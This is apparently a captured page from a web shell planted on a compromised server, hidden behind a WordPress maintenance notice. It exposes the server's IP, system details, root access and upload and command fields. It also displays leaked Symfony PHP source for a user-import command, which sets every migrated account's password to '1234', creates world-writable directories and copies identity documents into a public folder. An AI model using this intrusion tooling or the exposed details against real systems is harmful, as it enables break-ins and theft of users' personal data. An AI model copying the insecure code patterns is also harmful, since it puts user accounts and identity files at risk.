WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Command/ImportUsersCommand.php
<?php

namespace App\Command;

use App\Entity\Country;
use App\Entity\FtpUser;
use App\Entity\PayoutDetails;
use App\Entity\User;
use App\Service\FileUploader;
use App\Util\UserManipulator;
use FOS\UserBundle\Util\TokenGenerator;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Psr\Container\ContainerInterface;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\Finder\Finder;

class ImportUsersCommand extends Command
{
    protected static $defaultName = 'app:import-users';
    private $userManipulator;

    private $container;
    private $fileUploader;
    private $params;


    public function __construct(ContainerInterface $container, ParameterBagInterface $parameterBag,FileUploader $fileUploader)
    {


        parent::__construct();
        $this->params = $parameterBag;
        $this->container = $container;
        $this->fileUploader = $fileUploader;
        $this->em = $this->container->get('doctrine')->getManager();
    }

    protected function configure()
    {
//        parent::__construct();
        $this
            ->setDescription('Add a short description for your command')
            ->addArgument('arg1', InputArgument::OPTIONAL, 'Argument description')
            ->addOption('option1', null, InputOption::VALUE_NONE, 'Option description')
        ;
    }



    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $io = new SymfonyStyle($input, $output);


        $storage_dir=$this->params->get('ftp_directory');

        $servername = getenv('OLD_DATABASE_HOST');
        $username = getenv('OLD_DATABASE_USERNAME');
        $password = getenv('OLD_DATABASE_PASSWORD');
        $dbname = getenv('OLD_DATABASE_DATABASE');
//        $manipulator = $this->getContainer()->get('fos_user.util.user_manipulator');
// Create connection
        $conn = new \mysqli($servername, $username, $password, $dbname);

// Check connection
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }

        $sql = "

SELECT
    `users`.*,user_payment_details.*,
       user_details.`firstname`,
       user_details.`middlename`,
       user_details.`surname`,
       user_details.`postaladdress`,
       user_details.`postaddress`,
       user_details.`zipcode`,
       user_details.`city`,
       user_details.`country`,
       user_details.`telnumber`,
       user_details.`email` as details_email,
       user_details.`id_file`,
       user_details.`id_name`,
       user_details.`id_status`,
       user_details.`contributor_status`,
       user_details.`upload_status`,
       user_details.`edit_status`,
       user_details. `video_upload_status`,
       user_details.`video_edit_status`,
       user_details.`user_id`


FROM `users`
         LEFT JOIN user_details on user_details.user_id = users.id
         LEFT JOIN user_payment_details on user_payment_details.user_id = users.id
where length(user_details.surname)<30
;
";
        $result = $conn->query($sql);
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) {
               // print_r($row); die;
                $this->createUser($row);
                $io->note($row['details_email'].'-- Impored');
            }//end sample
        } else {
            echo "0 results";
        }
        $conn->close();

        $arg1 = $input->getArgument('arg1');

        if ($arg1) {
            $io->note(sprintf('You passed an argument: %s', $arg1));
        }

        if ($input->getOption('option1')) {
            // ...
        }

        $io->success('All users imported!.');

        return 0;
    }


    public function createUser($oldUser){
        $fileSystem = new Filesystem();
        $em = $this->container->get('doctrine');
        $admin=$em ->getRepository(User::class)->find(2);
        $userManager = $this->container->get('fos_user.user_manager');
        $newUser=$em->getRepository(User::class)->findOneBy(['email'=>$oldUser['email']]);

        if($newUser==null) {
            /** @var User $newUser */
            $newUser = $userManager->createUser();
            $newUser->setFirstName($oldUser['firstname']);
            $last_name = (isset($oldUser['middlename']) ? $oldUser['middlename'] : ' ') . ' ' . (isset($oldUser['surname']) ? $oldUser['surname'] : '');

            if($oldUser['id_file']!=null){
                $id_files_parts=explode('/',$oldUser['id_file']);
                $file_name= end($id_files_parts);
                $file_path=getenv('OLD_UPLOAD_DIR').DIRECTORY_SEPARATOR.$file_name;
                $upload_dir = $this->params->get('kernel.project_dir') . '/public/uploads/contributor/identity';
                $new_file=$upload_dir.DIRECTORY_SEPARATOR.$file_name;
                if (!is_dir($upload_dir)) {
                    mkdir($upload_dir, 0777, true);
                }//remove files in the the directory
                $fileSystem->copy($file_path, $new_file);
//                $fileName = $this->fileUploader->upload($file_path, $upload_dir, false, null, null);
                $newUser->setIdentityFile($file_name);


            }
            $newUser->setLastName(trim($last_name));
            if (isset($oldUser['id_status'])) {
                $newUser->setIdentityVerified(1);
            }
            //    $user_roles = array('ROLE_USER');
            $user_roles = array('ROLE_USER');
            if ($oldUser['account'] == 'contributor') {
                $user_roles = array('ROLE_CONTRIBUTOR');
            } elseif ($oldUser['account'] == 'member') {
                $user_roles = array('ROLE_MEMBER');
            }
            $newUser->setCreateBy($admin);
            $newUser->setUsername($oldUser['email']);
            $newUser->setUsernameCanonical($oldUser['email']);
            $newUser->setEmail($oldUser['email']);
            $newUser->setEmailCanonical($oldUser['email']);
            $newUser->setPhoneNumber($oldUser['mobile_number']);
            $newUser->setSecurityCode($oldUser['approve_code']);
            $newUser->setRoles($user_roles);
            $newUser->setOldID($oldUser['id']);
            $newUser->setEnabled(true);
            $joinedOn= new \DateTime($oldUser['date_joined']);
            $newUser->setJoinedOn($joinedOn);

            $newUser->setRegistrationComplete(0);

            $tokenGenerator = new TokenGenerator();

            $newUser->setConfirmationToken($tokenGenerator->generateToken());
            $newUser->setPlainPassword('1234');
//            $newUser->setPlainPassword(rand(100000, 200000));
            $userManager->updateUser($newUser, true);
//            if($this->createPaymentDetails($oldUser,$newUser)){
//                 $newUser->setRegistrationComplete(1);
//                 $userManager->updateUser($newUser);
//            }
            $this->createFtp($newUser);
        }
        //TODO import payment details
        //todo create ftp user

//        $this->em->persist($newUser);
//        $this->em->flush();
    }

    public function createFtp($currentUser){
        $storage_dir=$this->params->get('ftp_directory');
        $filesystem= new Filesystem();
        $finder = new Finder();
        /** @var User $currentUser */
        $ftpUser=$currentUser->getFtpUser();
        if($ftpUser==null) {
            $ftpUser = new FtpUser();
            $ftpUser->setUser($currentUser);
            $ftpUser->setUserid($currentUser->getUsernameCanonical());
            try {
                $ftpPath = $storage_dir . DIRECTORY_SEPARATOR . $currentUser->getId();

                if (!$filesystem->exists($ftpPath)) {
                    $filesystem->mkdir($ftpPath);
                }

                $ftpUser->setHomedir($ftpPath);
                $ftpUser->setPasswd(uniqid());
                $this->em->persist($ftpUser);
                $this->em->flush();


            } catch (IOExceptionInterface $exception) {
                echo "An error occurred while creating your directory at " . $exception->getPath();
                die;
            }
        }
    }

    public function createPaymentDetails ($oldUser,  User $newUser )
    {
        $paymentDetails = new PayoutDetails();
        $paymentDetails->setUser($newUser);
        $paymentDetails->setCity($oldUser['city']);
        $paymentDetails->setBankName($oldUser['bank_name']);
        $paymentDetails->setCountry( $this->em->getRepository(Country::class)->findOneBy(['name'=>$oldUser['country']]));
        $paymentDetails->setAccountNumber($oldUser['account_number']);
        $paymentDetails->setZipCode($oldUser['zipcode']);
        $paymentDetails->setAccountName($oldUser['account_name']);
        $paymentDetails->setBranchName($oldUser['branch_name']);
        $paymentDetails->setEmailAddress($newUser->getEmail());
        $paymentDetails->setMobileNumber($oldUser['telnumber']);
        $paymentDetails->setPostalAdress($oldUser['postaddress']);
        $paymentDetails->setMode($oldUser['payment_mode']);
        $this->em->persist($paymentDetails);
        $this->em->flush();
        return true;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit